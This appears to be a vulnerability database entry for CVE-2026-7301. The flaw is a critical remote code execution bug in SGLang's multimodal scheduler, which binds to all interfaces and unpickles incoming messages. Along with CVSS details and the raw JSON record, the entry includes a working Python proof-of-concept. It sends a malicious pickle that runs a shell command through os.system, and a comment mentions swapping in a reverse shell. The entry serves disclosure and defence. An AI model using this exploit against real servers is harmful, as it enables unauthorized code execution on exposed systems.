Security Vulnerability Report
中文
CVE-2026-7301 CVSS 9.8 CRITICAL

CVE-2026-7301

Published: 2026-05-18 12:16:16
Last Modified: 2026-05-19 13:49:27

Description

SGLangs multimodal generation runtime scheduler's ROUTER socket binds to 0.0.0.0 by default and contains a sink that calls pickle.loads() on incoming messages, enabling RCE when exposed to the internet.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lmsys:sglang:0.5.10:-:*:*:*:*:*:* - VULNERABLE
SGLangs (具体修复版本未在描述中明确,建议检查官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import socket import os # Define a malicious payload class class ExploitPayload: def __reduce__(self): # Execute a shell command (e.g., create a reverse shell or ping) # Note: Replace with actual command for testing in authorized environment only return (os.system, ('ping -c 1 127.0.0.1',)) def generate_poc_payload(): # Serialize the malicious object serialized_data = pickle.dumps(ExploitPayload()) return serialized_data def send_exploit(target_ip, target_port): payload = generate_poc_payload() try: # Establish connection to the vulnerable ROUTER socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send the malicious pickle payload s.send(payload) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Failed to send payload: {e}") if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 send_exploit(TARGET_IP, TARGET_PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7301", "sourceIdentifier": "[email protected]", "published": "2026-05-18T12:16:16.480", "lastModified": "2026-05-19T13:49:27.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SGLangs multimodal generation runtime scheduler's ROUTER socket binds to 0.0.0.0 by default and contains a sink that calls pickle.loads() on incoming messages, enabling RCE when exposed to the internet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lmsys:sglang:0.5.10:-:*:*:*:*:*:*", "matchCriteriaId": "E0022BC8-935B-474C-AD8D-B01417AC7092"}]}]}], "references": [{"url": "https://antiproof.ai/blog/three-rces-in-sglang/", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://github.com/sgl-project/sglang/tree/main/python/sglang", "source": "[email protected]", "tags": ["Product"]}]}}